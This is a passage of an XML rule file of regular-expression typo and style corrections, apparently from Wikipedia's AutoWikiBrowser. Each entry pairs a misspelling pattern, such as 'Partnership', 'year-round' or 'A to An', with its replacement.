e\b|ékaři|ewis|igada|ipid|ist|íderes|iniers|legar[aá]?|legan?|leva(n|sen)|ui|uxe)|[Mm](\.I|anu|as|atar|hic\b|[íi]nima\b|iedo|odel|onte|onumento|oro[șs]anu|ou(lin|nd)|ovid[ao]|ult|usgos)|[Nn](bsp|ei|iegan|ombrar|ônibus|otícia|ous)|[Oo](kina\}\}|cchio|lza|maggio|noare|riente|sob\b|tázky|tec\b|u\b)|[Pp](\.|ara|art|asado|assou?|entru|erò|erpetua|ese|ietro|iù|lan|oint|onte|ro|rólogo|re(ludio|senta)|r[ůu]myslu|ublicat)|[Qq](\sand|uando|ue|ui)|[Rr](apó|ec(ibe|usa)|ecordando|egião|eferencias|ei|etorno|isale|oi|omână|ozšířené)|şi\b|[Ss](\.|abe|alve\b|atisface|é|eason|ecuestran|eine|[eé]r(á|ie|vir)|ic\s?\|?|ide|ingle|ob|obre|ociální|ou|prijin|portivă|tavební|tyky|uma|ubida|ub(-)?unit|uple|upplemento|urt|ustituye)|[Tt](arda|áxi|he|oda|orno|orturan|razendo|ren|ributo|riple|ype)|[Uu](hlie|n[ade])|[Vv](a|ai|ada|amos?|ariant|as|ayas|eche|ence[rn]?|en(da|de|do|ga|go|ta|te)|eta|ez|ě(du?|rný)|iagem|illena|iol(on?cello|u)|itamin|iva|ivace|ojsko|ol(amos|ar|ta|vamos|ver(a|á|é|emos|te)?|v[íi]|viendo)|oy|uel(a|e|ta|to|u|v[aeo]s?)\b)|[Ww]h[aā]nau|[Yy]\b|[ZŽz](eit|ivoty))\W?\s?\s?[aA]\s?\s?\2))" replace="$1n $2"/><!--'A to An' correction, [[User:Sun_Creator/A_to_An]] document. Occurring often.-->
<Typo word="Partnership" find="\b([pP])arternship\b" replace="$1artnership"/>
<Typo word="Allegiance" find="\b([aA])ll[ie]+g[iea]+nce\b(?<!llegiance)" replace="$1llegiance"/><!--avoid self-->
<Typo word="Pardoned" find="\b([pP])ardonn(ed|ing|s)\b" replace="$1ardon$2"/>
<Typo word="Precipitation" find="\b([pP])rec[ie]ptiat(ion|e)\b" replace="$1recipitat$2"/>
<Typo word="Betrothed" find="\b([bB])ethroted\b" replace="$1etrothed"/>
<Typo word="Serviceable" find="\b([sS])ervicable\b" replace="$1erviceable"/><!--see also rule "Service"-->
<Typo word="Register" find="\b([rR])egistr(ed|ing|s)?\b" replace="$1egister$2"/>
<Typo word="Ousted" find="\b([oO])uts(ed|ing)\b" replace="$1ust$2"/><!--check FPs before adding outs -> oust-->
<Typo word="Soprano" find="\b([sS])porano(s)?\b" replace="$1oprano$2"/>
<Typo word="Guilty" find="\b([gG])ulity\b" replace="$1uilty"/>
<Typo word="Voyage" find="\b([vV])o(?:age|yae)(s)?\b" replace="$1oyage$2"/>
<Typo word="Signed" find="\b([sS])igend\b" replace="$1igned"/>
<Typo word="Predominantly" find="\b([pP])redom[ie]?n[aei]ntly\b(?<![pP]redominantly)" replace="$1redominantly"/><!--see also rule "Predominately"-->
<Typo word="Teaches/ing/s" find="\b([tT])ech(ings?|es)\b" replace="$1each$2"/>
<Typo word="([mb]|tr)illion (2)" find="((?:[€£¥\$]|Rs\.\s?)[\d,\.–]+(?:\s| )+(?:[mb]|tr))illions\b" replace="$1illion"/>
<Typo word="Receive" find="\b([rR])ec(?:ie|i|e)v(ed?|ing)\b" replace="$1eceiv$2"/>
<Typo word="Veil" find="\b([uU]n)?([vV])eill(ed|ing)?\b" replace="$1$2eil$3"/>
<Typo word="Double euros" find="(€[\d\.–]+(?: | )(?:[mb]illion|t(?:housand|rillion))?) euros?\b" replace="$1"/>
<Disabled word="space before EOL" find=" $" replace=""/>
<Disabled word="duplicated space" find=" " replace=" "/>
<Typo word="Independently" find="\b([Ii])ndependently-(?=[a-z]+ed\b)" replace="$1ndependently "/>
<Typo word="A to An (2)" find="\b(?<![´ˈ׳᾿’′Ꞌꞌ`'\[\|\]\.\,\:\-\&\—\>\/])a\s+((a([bcd]|n[acdginot])|e[abBcdefgilmnpqrstvx]|i[cdglmnr]|o[bf])\w+|MVP)(?<!about|escala|est[aé]\b)\b" replace="an $1"/><!--avoid "a about", "a escala", "a esta" and "a esté"-->
<Typo word="about" find="\ba\s+about\b" replace="about"/>
<Typo word="world's" find="\b([Tt])he\s+worlds\b(?=\s+(?:\w+est|first|most|top)\b)" replace="$1he world's"/>
<Typo word="nn-pounder" find="\b(\d+)\s+pounder(s)?\b" replace="$1-pounder$2"/>
<Typo word="takeoff" find="\btake\s+off\b(?<=\b(a(?:fter|t)|before|during|its|on) take\s+off)" replace="takeoff"/>
<Typo word="Publicly_" find="\b([pP])ublicly[−―–—](?=[a-z]+ed\b)" replace="$1ublicly "/>
<Typo word="(re)district" find="\b([dD]|[rR]ed)isrict(ed|ing|s?)\b" replace="$1istrict$2"/>
<Typo word="United Kingdom" find="\b([uU])nited\s+([kK])ingdon(s)?\b" replace="$1nited $2ingdom$3"/>
<Typo word="younger" find="\b([yY])onger(?=\s+(?:[bB]rothers?\b|[sS]isters?\b))" replace="$1ounger"/>
<Typo word="drug addiction" find="\b([dD])rug\s+([aA])dd+ition(s)?\b" replace="$1rug $2ddiction$3"/>
<Typo word="deep-seated" find="\b([dD])eep[−―–—\s]([sS])e[ae][td]ed\b" replace="$1eep-$2eated"/>
<Typo word="box office" find="\bbox[−―–—]office(?=[,;\.])" replace="box office"/>
<Typo word="Prerequisite" find="\b([pP])rerequiste(s)?\b" replace="$1rerequisite$2"/>
<Typo word="Launch" find="\b([lL])anuch(e[ds]|ing)?\b" replace="$1aunch$2"/>
<Typo word="Hybrid" find="\b([hH])yb[iy]rd(s)?\b" replace="$1ybrid$2"/>
<Typo word="Fragrance" find="\b([fF])ragance(s)?\b" replace="$1ragrance$2"/>
<Typo word="Construct" find="\b([cC])onstrcut(ed|ion|s?)\b" replace="$1onstruct$2"/>
<Typo word="Charity" find="\b([cC])hai?rty\b" replace="$1harity"/>
<Typo word="Asylum" find="\b([aA])ssylum(s)?\b" replace="$1sylum$2"/>
<Typo word="Black-body radiation" find="\b([bB])lack[−―–—\s]body\b(?=\s+radiation\b)" replace="$1lack-body"/>
<Typo word="_Meantime" find="\b([iI])n\s+the\s+mean[−―–—\s]+time\b(?!\s+(?:be(?:fore|tween)|of))" replace="$1n the meantime"/><!--avoid MTBF, etc.-->
<Typo word="Prisoner" find="\b([pP])risonner(s)?\b" replace="$1risoner$2"/>
<Typo word="Elsewhere" find="\b([eE])lswhere\b" replace="$1lsewhere"/>
<Typo word="Editor" find="\b([eE])dior(ials?|s?)\b" replace="$1ditor$2"/>
<Typo word="Cycling" find="\b([cC])yling\b" replace="$1ycling"/>
<Typo word="stripped-down_" find="\b([sS])tripped[−―–—\s]+down\b(?=\s+(?:acoustic|bands?|productions?|sounds?|v(?:ersions?|iews?))\b)" replace="$1tripped-down" />
<Typo word="boutique_" find="\bbotu?ique(s)?\b" replace="boutique$1"/><!-- avoid proper name Botique -->
<Typo word="Scoring" find="\b([sS])ocring\b" replace="$1coring"/>
<Typo word="albino" find="\b([aA])blin(al|i(?:c|s(?:ms?|tic))|o(?:s?|tic))\b" replace="$1lbin$2"/>
<Typo word="Facilit(ate/y)" find="\b([fF])aciit(ates?|ies|y)\b" replace="$1acilit$2"/>
<Typo word="spirit_" find="\bspirt(s|ual(?:i(?:sm|ty))?)?\b" replace="spirit$1"/><!-- avoid proper name Spirt -->
<Typo word="album_" find="\babl?um(s)?\b" replace="album$1"/><!-- avoid proper name Abum -->
<Typo word="Lawyer" find="\b([lL])aywer(s)?\b" replace="$1awyer$2"/>
<Typo word="Finish" find="\b([fF])insh(e(?:[ds]|rs?)|ing)?\b" replace="$1inish$2"/>
<Typo word="(Re)Habilitate" find="\b([hH]|[rR]eh)abiliat(e[ds]?|ion)\b" replace="$1abilitat$2"/>
<Typo word="Apparatus" find="\b([aA])ppartus(es)?\b" replace="$1pparatus$2"/>
<Typo word="Lyric" find="\b([lL])yic(s)?\b" replace="$1yric$2"/>
<Typo word="Degree" find="\b([dD])egee('s|s?)\b" replace="$1egree$2"/>
<Typo word="-ball (2)" find="\b([bB]asket|[cC]annon|[fF]oot|[hH]and|volley)bal(s)?\b" replace="$1ball$2"/><!--avoid Volleybal (Dutch); see also: rule "-ball"-->
<Typo word="gallery_" find="\bgaler(ies|y)\b" replace="galler$1"/><!--avoid proper name Galeries-->
<Typo word="Profile" find="\b([pP])rofli?e([ds])?\b" replace="$1rofile$2"/>
<Typo word="Facility/Facilitates" find="\b([fF])acilti?(ates?|ies|y)\b" replace="$1acilit$2"/>
<Typo word="(up)holding" find="\b([hH]?|[uU]ph)elding\b" replace="$1olding" />
<Typo word="Foothills" find="\b([fF])oot[−―–—\s]+hills\b" replace="$1oothills" />
<Typo word="United States'" find="\b[uU]nited\s+[sS]tate[´ˈ׳᾿‘’′Ꞌꞌ`;']s\b" replace="United States'" />
<Typo word="US$ (1)" find="\bUS(?:D\$?|\s\$|\$)(?<=(?:\b[a-z]+\s+|[\(,]\s*)US[\s\$D]+)(?:\s| )?\$?(?=\d)" replace="US$" />
<Typo word="US$ (2)" find="([\s\(~])\$?\s?((?:\d+(?:\.\d+)?|(?:\d+,)+\d{3}(?:\.\d\d)?))((?:\s| )+(?:[mMbB]illion|[tT](?:housand|rillion))\b)?(?<)(?<!\d\s+\d+)(?:\s| )*US[D\$]\b" replace="$1US$$$2$3" />
<Typo word="Unduly" find="\b([uU])nduely\b" replace="$1nduly" />
<Typo word="Frankish" find="[fF]rani?ksh(?<!18238 Franksh)" replace="Frankish" /><!--avoid minor planet 18238 Frankshu-->
<Typo word="Vanderbilt" find="\bvanderbilt\b(?![^\s\.]*\.\w)" replace="Vanderbilt"/><!--avoid domains-->
<Typo word="ELLIPSIS" find="…" replace="..." />
<Typo word="NUMERO" find="№" replace="No." />
<Typo word="the US" find="\bthe U\.?S\.?A\.?(?<!Church in the U\.?S\.?A\.?|Girl Scouts of the USA)(?=(?:,|\s+(?:a(?:fter|nd|[st])|by|f(?:or|rom)|in|to|w(?:hen|ith))\s))(?!\s+for\s+Africa)" replace="the US"/>
<Typo word="hard-fought" find="\b(A|a(?:nd)?|of|[tT]he(?:ir)?|very|was)\s+hard[−―–—\s]+(fought|won)\b(?!\s+for\b)" replace="$1 hard-$2"/>
<Typo word="Child-bearing_" find="\b([cC])hild[−―–—\s]+bearing(?=\s+(?:age\b|women\b|years\b))" replace="$1hild-bearing"/>
<Typo word="Publicly" find="\b([pP])ublic(?:all?|call?)?y\b" replace="$1ublicly"/>
<Typo word="long-held_" find="\b([aA]|[hH](?:er|is)|[iI]ts|[tT]he(?:ir)?)\s+long[−―–—\s]+held\b(?=\s+(?:a(?:mbition|ssumption)|belief|consensus|d(?:e(?:bate|sire)|ream)|f(?:a(?:mily|scination)|ear)|goal|i(?:dea[sl]?|nterest)|myth|notion|opinion|p(?:erception|o(?:lic(?:ies|y)|sition)|ractice)|rivalr(?:ies|y)|secret|t(?:heor(?:ies|y)|r(?:adition|uth))|v(?:alue|i(?:ew|sion))|wish))" replace="$1 long-held"/>
<Typo word="Decommissioned" find="\b([drDR])e[−―–—\s](commission(?:ed|ing|s?)|pressuri[sz](?:ation|e[ds]?|ing))\b" replace="$1e$2"/>
<Typo word="Bowser Jr." find="\bBowser\. [jJ]r(\.)?\b" replace="Bowser Jr$1"/>
<Typo word="Pokémon: Let's Go, Pikachu! and Let's Go, Eevee! colon" find="\bPok[eéèê]mon Let[´ˈ׳᾿‘’′Ꞌꞌ`;']?s Go\b" replace="Pokémon: Let's Go"/>
<Typo word="rating" find="\b[aA]rating\b" replace="rating"/>
<Typo word="Assessor" find="\b([aA])s(?:es|se)s[eo]r(s)?\b" replace="$1ssessor$2"/>
<Typo word="who/they were (grammar)" find="\b([tT]hey|[wW]ho) where\b" replace="$1 were"/>
<Typo word="two-way tie_" find="\b([2-9]|e(?:ight(?:een|y?)|leven)|f(?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|nine(?:t(?:een|y))?|s(?:even|ix)(?:t(?:een|y))?|t(?:en|hr(?:ee|irt(?:een|y))|w(?:e(?:lve|nty)|o)))[−―–—\s]+way(?=\s+(?:battle|co(?:mpetition|ntest)|d(?:ance|ivision)|el(?:ection|imination)|f(?:eud|ight)|intersection|ladd+er|match|p(?:layoff|rimary)|race|split|t(?:ag|ie|rade))\b)" replace="$1-way"/>
<Typo word="lecturer_" find="\bLecturer(?<=\b(?:[aA]s?\s+\w+|is\s+\w+|was\s+\w+))(?=\s+(?:at\b|[io]n\b))" replace="lecturer"/>
<Typo word="instructor_" find="\bInstructor(?<=\b(?:[aA][ns]\s+\w+|is\s+\w+|was\s+\w+))(?=\s+(?:at\b|[io]n\b))" replace="instructor"/>
<Typo word="Phenomenon (singular)" find="\bphenomena\b(?<=\b[tT]his\s+\w+)" replace="phenomenon"/>
<Typo word="Fast/Slow-paced" find="\b([fF]ast|[sS]low)[−―–—\s]+paced\b" replace="$1-paced"/>
<Typo word="a part (not apart) of" find="(?<=\s+(?:a(?:re|s)|As|be(?:c(?:ame|om(?:e|ing))|en|ing)|is|not|to\s+be|w(?:as|ere))(?:\s+(?:al(?:l|so)|now))?\s+)\bapart\s+of\b" replace="a part of"/>
<Typo word="FedEx" find="\b[fF]ed[−―–—\s]?[eE]x\b" replace="FedEx"/>
<Typo word="Coca-Cola" find="\b([cC]o[ck][ae][−―–—\s]*[cC]ola|[Cc]oca-cola)\b" replace="Coca-Cola"/>
<Typo word="Off-road" find="(?<![oO]ne-)\b([oO])ff[−―–—\s]+road\b" replace="$1ff-road"/>
<Typo word="McDonald's ..." find="\bM[cC][dD]onald[´ˈ׳᾿‘’′Ꞌꞌ`;']?s\s+(All American|burger|cheese|Championship|fr(?:anchise|ench|ies)|me(?:al|nu)|Monopoly|New Zealand|Open|restaurants?|store|Super Smash)" replace="McDonald's $1"/>
<Typo word="Heavily" find="\b([hH])eavilly[−―–—]" replace="$1eavily "/>
<Typo word="Reschedule" find="\b([rR])e-schedul(e[ds]?|ing)\b" replace="$1eschedul$2"/>
<Typo word="Bandmate/Roommate/Teammate" find="\b([bB]and|[cC]lass|[fF]lat|[rR]oom|[tT]eam)[−―–—\s]+mate(s)?\b" replace="$1mate$2"/><!--none of these spaced or hyphenated-->
<Typo word="Ill-adapted" find="\b([iI])ll[−―–—\s]+(ad(?:apted|vised)|c(?:alculated|on(?:ceived|sidered))|d(?:efined|i(?:gested|sposed))|e(?:quip(?:ped|t)|xecuted)|fated|gotten|informed|mannered|p(?:lanned|repared)|re(?:ceived|puted)|s(?:erved|uited)|t(?:empered|imed|reated)|used)\b" replace="$1ll-$2"/>
<Typo word="late 2016" find="\b(early|late)[−―–—](?<=\b(?:[bB]y|[dD]uring|[fF]rom|[iI]n|of|to|[uU]ntil)\s+[a-z]+-)([12]\d{3})(?=[,\.\;])" replace="$1 $2"/>
<Typo word="year-round" find="\byear\s+round\b(?<=\b(?:A(?:ctive|lmost|nd|vailable)?|a(?:ctive|lmost|nd|re|vailable)?|[fF]o(?:r|und)|[lL]ive[ds]?|[mM]aintained|[oO](?:ccurs?|f(?:fers)?|pe(?:n|rate[ds]?))|[pP](?:r(?:ecipitation|ovide[ds]?)|ublic)|[rR](?:ainfall|esident)|t(?:here|o)|To|[uU]sed|[wW](?:eather|ith))\s+year\s+round)" replace="year-round"/>
<Typo word="Ever-changing" find="\bever\b[−―–—\s](?<=\b(?:[aA]n?|[fF]rom|[hH](?:er|is)|[iI]ts|[nN]umerous|[tT]h(?:e(?:ir|se)?|is)|[wW]ith)\s+ever)\s+(accelerating|b(?:etter|igger|roade(?:ning|r)|urning)|c(?:hanging|l(?:earer|oser))|d(?:e(?:creasing|epe(?:ning|r)|veloping)|iminishing|windling)|e(?:lusive|scalating|volving|xpanding)|faster|gr(?:eater|owing)|higher|i(?:mproving|ncreasing)|l(?:arger|engthening|ower)|moving|narrowing|p(?:opular|resent)|r(?:e(?:peating|volving)|ising|otating)|s(?:h(?:ifting|rinking)|m(?:aller|iling)|tronger)|tighte(?:ning|r)|w(?:atchful|ide(?:ning|r)|orsening)|younger)\b" replace="ever-$1"/>
<Typo word="Lawmaker" find="\b([lL])aw[−―–—\s]+maker(s)?\b" replace="$1awmaker$2"/>
<Typo word="(Dis)integrate" find="\b([dD]isi|[iI])nt(?:er|i)gr?at(e[ds]?|i(?:ng|on))\b" replace="$1ntegrat$2"/>
<Typo word="September 2016" find="\b(?:the\s+)?(A(?:pril|ugust)|December|February|J(?:anuary|u(?:ly|ne))|Ma(?:rch|y)|November|October|September)\s+of\s+([12]\d{3})\b" replace="$1 $2"/>
<Typo word="High-profile" find="\b(?=[hH]igh)(?<!(?:[bB]ecause\s+of\s+(?:h(?:er|is)|its|their)|(?:achiev(?:e[ds]?|ing)|creat(?:e[ds]?|ing)|display(?:ed|ing|s?)|ha(?:s|ve)|ke(?:ep(?:ing|s?)|pt)|maintain(?:ed|ing|s?)|retain(?:ed|ing|s?)|with)\s+a)\s+)([hH])igh(?<![A-Z][A-Za-z]+\s+High|specified\s+High|the\s+High)\s+profile\b(?!,|\s+(?:a(?:nd|s)|for|in|of)\b)" replace="$1igh-profile"/>
<Typo word="Halfway_" find="\b([hH])alf\s+way(?=\s+(?:a(?:cross|round)|between|down|from|into|line|out|point|round|through|up)\b)" replace="$1alfway"/>
<Typo word="Midway_" find="\b([mM])id[−―–—\s]+way(?=\s+(?:across|between|down|through|up)\b)" replace="$1idway"/>
<Typo word="Mezzo-soprano" find="\b([mM])ezzo\s*soprano(s)?\b" replace="$1ezzo-soprano$2"/>
<Typo word="Oversize(d)" find="\b([oO]ver|[uU]nder)[−―–—\s]+size(d)?\b" replace="$1size$2"/>
<Typo word="Top-grossing_" find="\b([hH]ighest|[lL]owest|[tT]op)\s+grossing(?=\s+(?:concert|film|game|movie|t(?:itle|our))s?\b)" replace="$1-grossing"/>
<Typo word="Long-awaited" find="\b([lL])ong\s+awaited\b" replace="$1ong-awaited"/>
<Typo word="First half_" find="\b([fF]irst|[sS]econd)-half(?=\s+(?:a(?:nd|s)|for|in|of|to|was)\b)" replace="$1 half"/>
<Typo word="Us Weekly" find="\bUS Weekly\b" replace="Us Weekly"/>
<Typo word="Constituency" find="\b([cC])onsistuenc(ies|y)\b" replace="$1onstituenc$2"/>
<Typo word="Hurricane-force_" find="\b([gG]ale|[hH]urricane)\s+force(?=\s+(?:gusts?|storms?|wind(?:s(?:peeds?)?)?)\b)" replace="$1-force"/>
<Typo word="Billboard" find="\b([bB])il(?:bo(?:ar|ra?)|lb(?:aor|o(?:a|ra?)))d(s)?\b" replace="$1illboard$2"/>
<Typo word="Widely" find="\b([wW])idell?y-(?=[a-z]+ed\b)(?![a-z]+-)" replace="$1idely "/>
<Typo word="Open-air_" find="\bopen\s+air(?<=\b[aA]n\s+open\s+air)(?=\s+(?:a(?:mphitheat(?:er|re)|ren?a|uditorium)|bath|c(?:hurch|inema|ourtyard)|d(?:ance|isplay)|exhibition|festival|m(?:a(?:ll|rket|ss)|eeting|usic)|p(?:avilion|erformance|ool|roduction)|restaurant|s(?:ervice|hopping|ite|t(?:a(?:dium|ge)|ructure)|wimming)|theat(?:er|re)|venue))" replace="open-air"/>
<Typo word="Low-lying_" find="\b([lL])ow\s+lying(?=\s+(?:area|c(?:loud|oastal)|f(?:ield|lat)|ground|hill|island|land|nature|p(?:art|lains?)|region))" replace="$1ow-lying"/>
<Typo word="Telangana" find="\b(?:tel[ae]|Tele)ngana\b" replace="Telangana"/>
<Typo word="Performance-enhancing_" find="\b([pP])erformance\s+enhancing(?=\s+(?:drugs?|effects?|s(?:teroids?|ubstances?)))" replace="$1erformance-enhancing"/>
<Typo word="made-for-TV" find="\bmade\s+for\s+(T(?:elevision|V)|t(?:elevision|v))\s+(film|movie)\b" replace="made-for-$1 $2"/>
<Typo word="Chhattisgarh" find="\b(?:chh?att?|Ch(?:att?|hat))isgarh(i)?\b" replace="Chhattisgarh$1"/>
<Typo word="Grammy Award" find="\bgrammy\s+[aA]ward(s)?\b" replace="Grammy Award$1"/>
<Typo word="Relay" find="\b4(?: (?:x\s?|×)|[x×]\s?)([248]00|15?00)\s*m\b" replace="4 × $1 m"/>
<Typo word="Multimillion-dollar" find="\b([mM])ulti[−―–—\s]*([mb]|tr)illion[−―–—\s]+(dollar|euro|pound)\b(?<!ulti(?:[mb]illion-[a-z]+|trillion-[a-z]+))" replace="$1ulti$2illion-$3"/> <!--neg lookbehind removable-->
<Typo word="nth-minute something" find="\b(\d+(?:[nr]d|st|th)|e(?:ight(?:eenth|h|ieth)|leventh)|f(?:i(?:ft(?:eenth|h|ieth)|rst)|o(?:rtieth|urt(?:eenth|h)))|hundredth|nint(?:eenth|h|ieth)|s(?:e(?:cond|vent(?:eenth|h|ieth))|ixt(?:eenth|h|ieth))|t(?:enth|h(?:ir(?:d|t(?:eenth|ieth))|ousandth)|we(?:lfth|ntieth)))\b\s+minute(?=\s+(?:equali(?:[sz]er)|goal|header|lead|opener|penalty|st(?:rike|ubstitute)|winner))" replace="$1-minute"/>
<Typo word="led_" find="\blead(?=\s+to\s)(?<=(?:Th(?:at|is)|[;\.] th(?:at|is)|, this)\s+lead)" replace="led"/>
<Typo word="Offshoot" find="\b([oO])ff[−―–—\s]+shoot(s)?\b" replace="$1ffshoot$2"/>
<Typo word="Swapp(ed/ing)" find="\b([sS])wap(ed|ing)\b" replace="$1wapp$2"/>
<Typo word="Encompass" find="\b([eE])(?:mcom|nco)pass(e[ds]|ing)?\b" replace="$1ncompass$2"/>
<Typo word="first-come, first-served" find="\b([fF])irst[−―–—\s]come,?[−―–—\s\/]+first[−―–—\s]serve\b" replace="$1irst-come, first-served"/>
<Typo word="present-day_" find="\b(modern|present)[−―–—\s]+day\b(?=\s)(?<=\b(?:[aA]|[bB]y|[iI](?:n|ts)|[nN]ear|of|[tT]heir|with)\s+(?:modern|present)\s+day)" replace="$1-day"/>
<Typo word="Swordplay" find="\b([sS])word[−―–—\s]+play\b(?<!\band[−―–—\s]+[sS]word[−―–—\s]+play)" replace="$1wordplay"/><!--neg lookbehind removable-->
<Typo word="Sword fight" find="\b([sS])wordfight([a-z]*)\b" replace="$1word fight$2"/>
<Typo word="bachelor's degree_" find="\b[bB]at?chelor[´ˈ׳᾿‘’′Ꞌꞌ`']?s?[´ˈ׳᾿‘’′Ꞌꞌ`']?\s+[dD]egree(s)?\b(?<=[a-z]\s+[bB]a[a-z´ˈ׳᾿’′Ꞌꞌ`']+\s+[dD]egrees?)(?<!bachelor's\s+degrees?)" replace="bachelor's degree$1"/><!--neg lookbehind removable-->
<Typo word="master's degree" find="\b[mM]aster[´ˈ׳᾿‘’′Ꞌꞌ`']?s?[´ˈ׳᾿‘’′Ꞌꞌ`']?\s+[dD]egree(s)?\b(?<=[a-z]\s+[mM]a[a-z´ˈ׳᾿’′Ꞌꞌ`']+\s+[dD]egrees?)(?<!master's\s+degrees?)" replace="master's degree$1"/><!--neg lookbehind removable-->
<Typo word="([mb]|tr)illion" find="\b(\d+(?:\s| )+(?:[mb]|tr))illions\s+(albums|copies|dollars|[eE]uros?|people|pounds|records|ton(?:ne)?s|view(?:er)?s|visitors|years)\b" replace="$1illion $2"/>
<Typo word="In comparison,_" find="\bIn\s+comparison(?=\s)(?!\s+(?:studies\b|to\b|with\b))" replace="In comparison,"/>
<Typo word="incredible" find="\bincre?[ai]d[ai]bl([ey])\b" replace="incredibl$1"/>
<Typo word="shown_" find="\bshowed\b(?<=\b(?:are|be(?:en)?|is|w(?:as|ere))\s+showed)" replace="shown"/>
<Typo word="bachelor's and master's degrees" find="\bbachelor[´ˈ׳᾿‘’′Ꞌꞌ`']?s? and master[´ˈ׳᾿‘’′Ꞌꞌ`']?s? degree(s)?\b" replace="bachelor's and master's degree$1"/>
<Typo word="Furthermore," find="\b(Accordingly|Consequently|Even\s+so|F(?:or\s+example|urthermore)|In(?:deed|\s+other\s+words)|M(?:eanwhile(?!\s+Gardens)|oreover)|Nevertheless|On\s+the\s+other\s+hand|Therefore|Subsequently(?!\s+(?:enacted|renamed|told)))(?!\s*\|)(?=\s+[\p{L}´ˈ׳᾿’′Ꞌꞌ`'\[\|\]]+\b)" replace="$1,"/>
<Typo word="As a result," find="\bAs\s+a\s+result(?=\s)(?!\s+of\b)" replace="As a result,"/>
<Typo word="However," find="\bHowever\s+(?=(?:a(?:ccording|fter|s)|b(?:e(?:cause|fore)|y)|d(?:espite|u(?:e|ring))|f(?:or|rom)|i[fn]|later|not|on(?:ly)?|s(?:ince|ometimes)|there|w(?:hen|ith))\b)" replace="However, "/>
<Typo word="Commercially" find="\b([cC])ommerciall?y-(?=[a-z]+(?:ble\b|ed\b|ful\b))(?![a-z]+-)" replace="$1ommercially "/>
<Typo word="rule of thumb" find="\bgeneral\s+rule[ -]of[ -]thumb\b" replace="rule of thumb"/>
<Typo word="Snow-covered" find="\b([iI]ce|[sS](?:lush|now))\s+c(app|over)ed(?=[,;\.\)]|\s+(?:area|bluff|cape|except|f(?:ield|orest)|ground|h(?:eadland|i(?:ghway|ll))|island|landscape|mountain|p(?:e(?:ak|ninsula)|lateau|oint)|r(?:idge|o(?:ad|ck)|unway)|s(?:add+le|lope)|terrain|water)s?\b)" replace="$1-c$2ed"/>
<Typo word="Locally" find="\b([lL])ocall?y-(?=[a-z]+ed\b)(?![a-z]+-)" replace="$1ocally "/>
<Typo word="Anytown-based" find="\b([A-Z][a-z]+)\s+based\b(?<=\b(?:[aA]n?|b(?:etween|y)|f(?:or|rom)|h(?:er|is)|o(?:f|ther)|t(?:he|o)|The|with)\s+[A-Z][a-z]+,?(?:\s+[A-Z][a-z]+)?\s+based)(?!\s+(?:a(?:long|[nt]?)|h(?:er|is)|i(?:n|ts)|largely|mostly|on|partially|the(?:ir)?|upon)\b)" replace="$1-based"/>
<Typo word="Milli- SI prefix" find="\b([mM])ili-?(amperes?|candelas?|grams?|kelvins?|lit(?:ers?|res?)|m(?:et(?:ers?|res?)|oles?)|seconds?)\b" replace="$1illi$2"/>
<Typo word="one of" find="\ba\s+one\b(?<= a\s+one)(?=\s+of\b)(?!\s+of\s+a\s+kind)" replace="one"/>
<Typo word="n-year-old" find="\b(\d+|e(?:ight(?:een|y?)|leven)|f(?:i(?:ft(?:een|y)|ve)|o(?:rty|ur(?:teen)?))|hundred|nine(?:t(?:een|y))?|one|s(?:even|ix)(?:t(?:een|y))?|t(?:en|h(?:irt(?:een|y)|ousand|ree)|w(?:e(?:lve|nty)|o)))(?:\s+year(?:\s+|-)|-year\s+)[oO]ld\s+(b(?:oys?|r(?:idge|others?)|uilding)|c(?:h(?:ild(?:ren)?|urch)|o(?:llege|mpany))|d(?:aughter|esign)|f(?:a(?:cility|rmhouse|ther)|emales?)|g(?:irls?|rand(?:daughter|father|mother|son))|h(?:igh\s+school|ouse)|institution|la(?:ndmark|w)|m(?:a(?:les?|n(?:sion)?)|en|iddle\s+school|other)|p(?:atient|erson)|record|s(?:chool|isters?|on|t(?:ructures?|udents?))|t(?:heat(?:ers?|res?)|r(?:adition|ees?))|wo(?:m[ae]n|rld\s+record))\b" replace="$1-year-old $2"/>
<Typo word="Soft-spoken" find="\b([sS])oft\s+(boiled|edged|hea(?:ded|rted)|nosed|spoken)" replace="$1oft-$2"/>
<Typo word="All-time" find="\b([aA])ll\s+time(?=\s+(?:American\sLeague|a(?:ppearance|ssists|ttendance|verage)|b(?:est|iggest|lockbuster)|c(?:areer|l(?:assic|ub))|f(?:a(?:mous|vou?rite)|ranchise)|great(?:est|s?)|hi(?:gh(?:est)?|ts?)|l(?:ea(?:d(?:ers?|ing)?|gue)|ist|ow)|Major|m(?:aximum|ost|usic)|N(?:ational\sLeague|CAA|FL)|opening|p(?:eak|o(?:ints|pular))|r(?:ec(?:eiving|ord)|ushing)|s(?:a(?:ck|ves)|coring|eries|ingle)|t(?:able|o(?:p|tal))|Top|w(?:in(?:ningest|s)|or(?:ld|st)))\b)" replace="$1ll-time"/>
<Typo word="nth-place something" find="\b(\d+(?:[nr]d|st|th)|e(?:ight(?:eenth|h|ieth)|leventh)|f(?:i(?:ft(?:eenth|h|ieth)|rst)|o(?:rtieth|urt(?:eenth|h)))|hundredth|nint(?:eenth|h|ieth)|s(?:e(?:cond|vent(?:eenth|h|ieth))|ixt(?:eenth|h|ieth))|t(?:enth|h(?:ir(?:d|t(?:eenth|ieth))|ousandth)|we(?:lfth|tieth)))\b\s+(placed?|rate)(?=\s+(?:best\s+finish|effort|finish|p(?:erformance|o(?:ints\s+finish|sition|wer))|r(?:anking|esult|un\b)|t(?:eam\s+finish|roph(?:ies|y))|victory|winner))" replace="$1-$2"/>
<Typo word="centuries-old" find="\b(centuri|decad)es\s+old\b(?<=\b(?:[aA]|[tT]he(?:ir)?)\s+[a-z]+\s+old)" replace="$1es-old"/>
<Typo word="intertribal" find="\b([iI])nter[−―–—\s]+tribal\b" replace="$1ntertribal"/>
<Typo word="Passageway" find="\b([pP])assage[−―–—\s]+way(s)?\b" replace="$1assageway$2"/>
